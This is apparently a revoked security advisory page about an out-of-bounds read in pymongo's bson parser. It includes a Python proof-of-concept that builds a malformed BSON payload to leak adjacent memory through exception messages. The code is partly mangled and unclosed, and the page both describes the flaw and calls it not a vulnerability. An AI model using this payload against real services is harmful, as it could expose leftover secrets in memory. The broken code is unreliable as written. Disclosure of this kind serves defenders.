Out-of-bounds Read The advisory has been revoked - it doesn't affect any version of package pymongo Open this link in a new tab

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    0.04% (10th percentile)

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  • published 5 Apr 2024
  • disclosed 4 Mar 2024
  • credit Vladimir Cherepanov

How to fix?

Upgrade pymongo to version 4.6.3 or higher.


This was deemed not a vulnerability.


Affected versions of this package are vulnerable to Out-of-bounds Read in the bson module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte.


This advisory was revoked as it is a duplicate of CVE-2024-5629


```python import bson import struct

def function(length: int) -> bytes: secret = b'X' * length # do some stuff with secret # ... # variable 'secret' is deleted here # but it's still stored in memory

def generate_payload(length: int) -> bytes: string_size = length - 0x1e

return bytes.fromhex(
    struct.pack('<I', length).hex() + # payload size
    '0f' + # type "code with scope"
    '3100' + # key (cstring)
    '0a000000' + # c_w_s_size
    '04000000' + # code_size
    '41004200' + # code (cstring)
    'feffffff' + # scope_size
    '02' + # type "string"
    '3200' + # key (cstring)
    struct.pack('<I', string_size).hex() + # string size
    '00' * string_size # value (cstring)
    # next bytes is a field name for type \x00
    # type \x00 is invalid so bson throws an exception

def deserialize_payload(payload: bytes) -> None: try: obj = bson.decode(payload) # throws exception print(obj) # unreachable code except Exception as e: print(e)


case 1: leak the printable string ##')

uses secret internally

function(0x50 + 0x0F)

payload could be read from stdin or similar

payload = generate_payload(0x50) deserialize_payload(payload)


case 2: leak some non-printable bytes ##')

for i in range(5): # payload could be read from stdin or similar payload = generate_payload(0x54f + i) deserialize_payload(payload) ```